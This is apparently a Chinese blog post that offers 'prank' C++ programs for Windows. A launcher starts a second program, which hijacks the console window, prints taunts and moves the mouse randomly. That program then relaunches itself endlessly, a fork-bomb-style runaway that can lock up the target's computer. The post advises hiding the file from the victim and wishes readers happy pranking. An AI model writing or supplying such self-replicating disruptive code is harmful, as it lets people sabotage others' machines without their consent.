欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

整人代码2

发布时间:2023/12/14 编程问答 43 豆豆
生活随笔 收集整理的这篇文章主要介绍了 整人代码2 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

这次制作的整人程序由两个文件组成

注意事项:

        第一个文件随便命名,第二个文件必须命名为“无限弹窗”

第一个文件:

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main(){
    if(MessageBox(NULL,"是否打开文件","警告",MB_YESNO)==IDYES)
        system("start 无限弹窗.exe");
    return 0;
}

这个文件的主要功能是防止在操作电脑时误触,如果用的是 Windows 10 操作系统,可以把第二个文件隐藏

第二个文件:

#include<bits/stdc++.h>
#include<windows.h>
#include<conio.h>
using namespace std;
void color(int a){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),a);
    return;
}
int main(){
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    int mousex;
    int mousey;
    srand(time(NULL));
    HWND hwnd=GetForegroundWindow();
    LONG l_WinStyle=GetWindowLong(hwnd,GWL_STYLE);
    SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle|WS_MAXIMIZE|WS_POPUP)&~WS_CAPTION&~WS_THICKFRAME&~WS_BORDER);
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
    color(rand()%256);
    switch(rand()%4){
        case 0:printf("略略略~");break;
        case 1:printf("无限弹窗,哈哈哈");break;
        case 2:printf("凸( ̄皿 ̄)凸");break;
        case 3:{
            printf("  ■■■    ■■■■  \n");
            printf("■      ■  ■      ■\n");
            printf("■          ■      ■\n");
            printf("  ■■■    ■■■■  \n");
            printf("        ■  ■      ■\n");
            printf("■      ■  ■      ■\n");
            printf("  ■■■    ■■■■  \n");
            break;
        }
    }
    mousex=rand()%x;
    mousey=rand()%(y-400)+200;
    SetCursorPos(mousex,mousey);
    system("start 无限弹窗.exe");
    while(true){getch();}

这个就是最主要的程序了,它的作用是无限弹窗和鼠标乱闪

这次的程序与之前不同的是,我在弹窗上输出了一些东西,至于是什么,自己看看吧

当然,也可以修改代码,让你整的那个人一看知道是你在整TA更加生气

最后祝大家整人愉快

总结

以上是生活随笔为你收集整理的整人代码2的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。